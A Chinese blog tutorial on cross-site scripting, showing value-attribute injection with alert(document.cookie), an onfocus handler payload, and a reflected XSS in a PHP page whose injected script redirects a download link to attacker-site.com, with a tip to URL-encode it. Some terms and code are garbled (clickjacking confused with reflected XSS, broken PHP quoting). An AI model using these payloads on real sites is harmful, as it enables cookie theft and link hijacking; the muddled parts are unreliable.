所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的。一般都是获取用户的Cookie(能够还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击。传播XSS蠕虫等。

整体分为三类:

Dom-Based(Dom式)

Stroed-Based(存储式)

Reflex-Based(反射式)

简单举一个场景:

在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from"> 

这里的valuefrom 就是来自用户的输入。假设用户输入的不是valuefrom 的字符串,而是其它的代码就可能出现用户输入的数据被运行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:

<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">

这样就是显示一个含实用户cookie的提示框,假设输入再改改:

" onfocus="alert(document.cookie); 那就变成了:

<input type="text" name="address1" value="" onfocus="alert(document.cookie); "> 

这样在onfocus事件触发后,js 代码就会被运行,当然攻击者肯定不会傻的把提示框弹出来。这里仅仅是证明能够获取到数据。hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法通常是:

在目标网页嵌入一段遮掩给的代码(一般都是在比較隐蔽的位置,或者直接就是在结尾):



1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):

原来server页面是

<?php
$name = $_GET['name']; /* 在GET 參数中获取username */
echo "Welcome $name <br>"; /* 这里网页中打印变量 */
echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */
? >

假设用户在URL输入:

index.php?id=ByteWay<script>alert('attacked');</script>

这样在用户链接就会生成这样html代码:

Welcome ByteWay <script>alert('attacked');</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,可是你会发现这还不是点击劫持啊? 呵呵,不要着急,仅仅要你明确了这个道理,相信你就是猥琐的想到直接在那里加段js 直接改动掉那个超链接就Ok了,以下是详细的办法:

假设用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>



返回到用户的界面就是这种:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

可是由于非常快就会运行window.load的方法。这样后面的劫持的URL就发生了:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->

当然这里的看得URL太过明显了,咋办? 只要加上urlencode()之类的功能将起到模糊视听的作用。

版权声明:本文博客原创文章,博客,未经同意,不得转载。

最新文章

  1. Error 1606 Could Not Access Network Location %SystemDrive%/inetpub/wwwroot/ 的错误解决方法
  2. ***CodeIgniter集成微信支付(转)
  3. [转]Ubuntu下使用Jni开发例子
  4. CentOS6.5 解压安装 二进制分发版 mysql-5.5.49-linux2.6-x86_64.tar.gz
  5. Map的遍历
  6. UVA11324 强连通+dp记忆化搜索
  7. SSO-Javascript模拟IE登录,不让IIS弹出登录窗口
  8. OpenSSH &#39;child_set_env()&#39;函数安全绕过漏洞
  9. PCI-E调试方式
  10. bi api 软件
  11. 读书笔记 effective c++ Item 15 在资源管理类中提供对原生(raw)资源的访问
  12. NYOJ 289 苹果(01背包)
  13. Github从注册到上传本地项目详解!!!
  14. .NET开发设计模式-获取某个接口下面所有的派生类
  15. JAVA_OPTS设置
  16. springboot集成mybatis源码分析-mybatis的mapper执行查询时的流程(三)
  17. Android 问题列表
  18. 【Jquery Mobile教程】【问题】- 在页面切换时会闪烁
  19. weblogic性能监控
  20. python统计文本中每个单词出现的次数

热门文章

  1. linux shell 正则表达式(BREs,EREs,PREs)差异比较
  2. WinExec函数,启动其他应用程序
  3. SMART rule之个人理解
  4. mysql基础:列类型--整型
  5. linux下编译原理分析
  6. 双向DFS模板题
  7. 贴一个CMemDC 代码,这东西真不错噢,短小精悍,可谓极品
  8. 【Python】Python 基础知识
  9. 用百度API实现热(WIFI)、GPS、基站定位
  10. Cmpletepack coming~^.^